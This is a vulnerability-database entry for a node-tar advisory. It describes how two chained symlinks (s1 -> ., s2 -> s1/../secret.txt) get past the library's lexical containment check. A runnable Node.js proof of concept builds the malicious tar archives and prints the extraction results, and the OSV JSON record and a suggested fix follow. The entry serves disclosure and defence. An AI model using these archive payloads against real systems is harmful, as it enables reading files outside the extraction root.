GHSA-MHQM-9WJ8-W7R4
Vulnerability from github – Published: 2026-12-02 01:10 – Updated: 2026-12-02 01:10Summary
node-tar checks that a symlink's target stays inside cwd, but the check is lexical. It runs path.resolve(dirname, linkpath), which collapses .. without following symlinks. Entry 1 s1 -> . is accepted because its target is cwd. Entry 2 s2 -> s1/../secret.txt resolves lexically to <cwd>/secret.txt and is accepted too. On disk the kernel resolves s1 to cwd first and then applies .., so s2 points to <cwd>/../secret.txt, outside the extraction root. Repeating s1/ climbs further. node-tar rejects the direct form (../secret.txt gives TAR_ENTRY_ERROR), so it treats outside-pointing symlinks as in scope. This bypasses the linkpath containment added for GHSA-8qq5-rm4j-mr97 and related advisories.
Affected
tar 7.5.22 (latest). src/unpack.ts, the [STRIPABSOLUTEPATH] normalize/startsWith('../') check and the [SYMLINK] path (dist/esm/unpack.js around lines 224-244 and 511-513).
Reproduction
tar 7.5.22, tar-stream 3.2.2, node 22, Docker with --network none. secret.txt sits next to the extraction dir.
const tar = require('tar'), tarstream = require('tar-stream'), fs = require('fs'), path = require('path');
const base = process.argv[2]; const root = path.join(base,'root'); const ext = path.join(root,'ext');
fs.mkdirSync(root,{recursive:true}); fs.writeFileSync(path.join(root,'secret.txt'),'CANARY\n');
const ents = {
direct: [{name:'evil',type:'symlink',linkname:'../secret.txt'}],
dotdot_via_s1: [{name:'s1',type:'symlink',linkname:'.'},{name:'s2',type:'symlink',linkname:'s1/../secret.txt'}],
hardlink_via_s1: [{name:'s1',type:'symlink',linkname:'.'},{name:'h',type:'link',linkname:'s1/../secret.txt'}],
hardlink_abs: [{name:'h',type:'link',linkname:path.join(root,'secret.txt')}],
file_through_link: [{name:'s1',type:'symlink',linkname:'.'},{name:'s2',type:'symlink',linkname:'s1/..'},{name:'s2/pwn.txt',type:'file',data:'X'}],
};
(async()=>{ for (const [k,es] of Object.entries(ents)) {
fs.rmSync(ext,{recursive:true,force:true}); fs.rmSync(path.join(root,'pwn.txt'),{force:true}); fs.mkdirSync(ext,{recursive:true});
const p = tarstream.pack(); for (const e of es) p.entry({name:e.name,type:e.type,linkname:e.linkname,mode:0o644}, e.data); p.finalize();
const chunks=[]; for await (const c of p) chunks.push(c); fs.writeFileSync(path.join(base,'t.tar'), Buffer.concat(chunks));
const warns=[]; try { await tar.x({file:path.join(base,'t.tar'), cwd:ext, onwarn:(c,m)=>warns.push(c)}); } catch(e){ warns.push('ERR '+e.message); }
const ls = fs.readdirSync(ext).map(n=>{try{return n+(fs.lstatSync(path.join(ext,n)).isSymbolicLink()?'->'+fs.readlinkSync(path.join(ext,n)):'')}catch(e){return n}});
let rd='-'; for (const n of ['evil','s2','h']) try { rd=n+':'+JSON.stringify(fs.readFileSync(path.join(ext,n),'utf8')); break;}catch(e){}
console.log(k.padEnd(18), 'warn=',JSON.stringify(warns),'entries=',JSON.stringify(ls),'read=',rd,'pwn_outside=',fs.existsSync(path.join(root,'pwn.txt')));
}})();
direct warn= ["TAR_ENTRY_ERROR"] entries= [] read= - pwn_outside= false
dotdot_via_s1 warn= [] entries= ["s1->.","s2->s1/../secret.txt"] read= s2:"CANARY\n" pwn_outside= false
hardlink_via_s1 warn= ["TAR_ENTRY_ERROR"] entries= ["s1->."] read= - pwn_outside= false
hardlink_abs warn= ["TAR_ENTRY_INFO","TAR_ENTRY_ERROR"] entries= [] read= - pwn_outside= false
file_through_link warn= ["TAR_ENTRY_ERROR"] entries= ["s1->.","s2->s1/.."] read= - pwn_outside= false
The direct form is rejected (control). The two-step form extracts with no warning, and reading s2 returns the file outside the root.
Impact and limits
Hardlinks through s1/.. and writes through s2/ are still blocked. The result is a planted symlink pointing outside the extraction root. Anything that later reads, serves, copies or archives the extracted tree follows it, which gives arbitrary file read (for example package installers, build or CI systems, and archive previewers). Estimated CVSS 3.1 AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N (5.9).
Suggested fix
Validate the symlink target on the real filesystem. Walk its components with lstat (as ENSURE_NO_SYMLINK does for entry paths) and reject a .. that follows a symlink component, or resolve the existing prefix with realpath before the containment check.
Reported by Zachariah Mithani (zachariah@aplosai.com).
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "tar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-140244"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-12-02T01:10:55Z",
"nvd_published_at": "2026-12-01T18:17:28Z",
"severity": "HIGH"
},
"details": "### Summary\n\nnode-tar checks that a symlink\u0027s target stays inside `cwd`, but the check is lexical. It runs `path.resolve(dirname, linkpath)`, which collapses `..` without following symlinks. Entry 1 `s1 -\u003e .` is accepted because its target is cwd. Entry 2 `s2 -\u003e s1/../secret.txt` resolves lexically to `\u003ccwd\u003e/secret.txt` and is accepted too. On disk the kernel resolves `s1` to cwd first and then applies `..`, so `s2` points to `\u003ccwd\u003e/../secret.txt`, outside the extraction root. Repeating `s1/` climbs further. node-tar rejects the direct form (`../secret.txt` gives TAR_ENTRY_ERROR), so it treats outside-pointing symlinks as in scope. This bypasses the linkpath containment added for GHSA-8qq5-rm4j-mr97 and related advisories.\n\n### Affected\n\ntar 7.5.22 (latest). `src/unpack.ts`, the `[STRIPABSOLUTEPATH]` normalize/startsWith(\u0027../\u0027) check and the `[SYMLINK]` path (`dist/esm/unpack.js` around lines 224-244 and 511-513).\n\n### Reproduction\n\ntar 7.5.22, tar-stream 3.2.2, node 22, Docker with `--network none`. `secret.txt` sits next to the extraction dir.\n\n```js\nconst tar = require(\u0027tar\u0027), tarstream = require(\u0027tar-stream\u0027), fs = require(\u0027fs\u0027), path = require(\u0027path\u0027);\nconst base = process.argv[2]; const root = path.join(base,\u0027root\u0027); const ext = path.join(root,\u0027ext\u0027);\nfs.mkdirSync(root,{recursive:true}); fs.writeFileSync(path.join(root,\u0027secret.txt\u0027),\u0027CANARY\\n\u0027);\nconst ents = {\n direct: [{name:\u0027evil\u0027,type:\u0027symlink\u0027,linkname:\u0027../secret.txt\u0027}],\n dotdot_via_s1: [{name:\u0027s1\u0027,type:\u0027symlink\u0027,linkname:\u0027.\u0027},{name:\u0027s2\u0027,type:\u0027symlink\u0027,linkname:\u0027s1/../secret.txt\u0027}],\n hardlink_via_s1: [{name:\u0027s1\u0027,type:\u0027symlink\u0027,linkname:\u0027.\u0027},{name:\u0027h\u0027,type:\u0027link\u0027,linkname:\u0027s1/../secret.txt\u0027}],\n hardlink_abs: [{name:\u0027h\u0027,type:\u0027link\u0027,linkname:path.join(root,\u0027secret.txt\u0027)}],\n file_through_link: [{name:\u0027s1\u0027,type:\u0027symlink\u0027,linkname:\u0027.\u0027},{name:\u0027s2\u0027,type:\u0027symlink\u0027,linkname:\u0027s1/..\u0027},{name:\u0027s2/pwn.txt\u0027,type:\u0027file\u0027,data:\u0027X\u0027}],\n};\n(async()=\u003e{ for (const [k,es] of Object.entries(ents)) {\n fs.rmSync(ext,{recursive:true,force:true}); fs.rmSync(path.join(root,\u0027pwn.txt\u0027),{force:true}); fs.mkdirSync(ext,{recursive:true});\n const p = tarstream.pack(); for (const e of es) p.entry({name:e.name,type:e.type,linkname:e.linkname,mode:0o644}, e.data); p.finalize();\n const chunks=[]; for await (const c of p) chunks.push(c); fs.writeFileSync(path.join(base,\u0027t.tar\u0027), Buffer.concat(chunks));\n const warns=[]; try { await tar.x({file:path.join(base,\u0027t.tar\u0027), cwd:ext, onwarn:(c,m)=\u003ewarns.push(c)}); } catch(e){ warns.push(\u0027ERR \u0027+e.message); }\n const ls = fs.readdirSync(ext).map(n=\u003e{try{return n+(fs.lstatSync(path.join(ext,n)).isSymbolicLink()?\u0027-\u003e\u0027+fs.readlinkSync(path.join(ext,n)):\u0027\u0027)}catch(e){return n}});\n let rd=\u0027-\u0027; for (const n of [\u0027evil\u0027,\u0027s2\u0027,\u0027h\u0027]) try { rd=n+\u0027:\u0027+JSON.stringify(fs.readFileSync(path.join(ext,n),\u0027utf8\u0027)); break;}catch(e){}\n console.log(k.padEnd(18), \u0027warn=\u0027,JSON.stringify(warns),\u0027entries=\u0027,JSON.stringify(ls),\u0027read=\u0027,rd,\u0027pwn_outside=\u0027,fs.existsSync(path.join(root,\u0027pwn.txt\u0027)));\n}})();\n```\n\n```\ndirect warn= [\"TAR_ENTRY_ERROR\"] entries= [] read= - pwn_outside= false\ndotdot_via_s1 warn= [] entries= [\"s1-\u003e.\",\"s2-\u003es1/../secret.txt\"] read= s2:\"CANARY\\n\" pwn_outside= false\nhardlink_via_s1 warn= [\"TAR_ENTRY_ERROR\"] entries= [\"s1-\u003e.\"] read= - pwn_outside= false\nhardlink_abs warn= [\"TAR_ENTRY_INFO\",\"TAR_ENTRY_ERROR\"] entries= [] read= - pwn_outside= false\nfile_through_link warn= [\"TAR_ENTRY_ERROR\"] entries= [\"s1-\u003e.\",\"s2-\u003es1/..\"] read= - pwn_outside= false\n```\n\nThe direct form is rejected (control). The two-step form extracts with no warning, and reading `s2` returns the file outside the root.\n\n### Impact and limits\n\nHardlinks through `s1/..` and writes through `s2/` are still blocked. The result is a planted symlink pointing outside the extraction root. Anything that later reads, serves, copies or archives the extracted tree follows it, which gives arbitrary file read (for example package installers, build or CI systems, and archive previewers). Estimated CVSS 3.1 AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N (5.9).\n\n### Suggested fix\n\nValidate the symlink target on the real filesystem. Walk its components with lstat (as ENSURE_NO_SYMLINK does for entry paths) and reject a `..` that follows a symlink component, or resolve the existing prefix with realpath before the containment check.\n\nReported by Zachariah Mithani (zachariah@aplosai.com).",
"id": "GHSA-mhqm-9wj8-w7r4",
"modified": "2026-12-02T01:10:55Z",
"published": "2026-12-02T01:10:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-mhqm-9wj8-w7r4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-140244"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/commit/23b368128b6cf7d4c26f2e302c0e4a82f70a6e3d"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/node-tar"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/releases/tag/v8.0.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "node-tar: Symlink containment bypass via nested symlink + \u0027..\u0027 (lexical linkpath check)"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation. The method is described in a publication.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.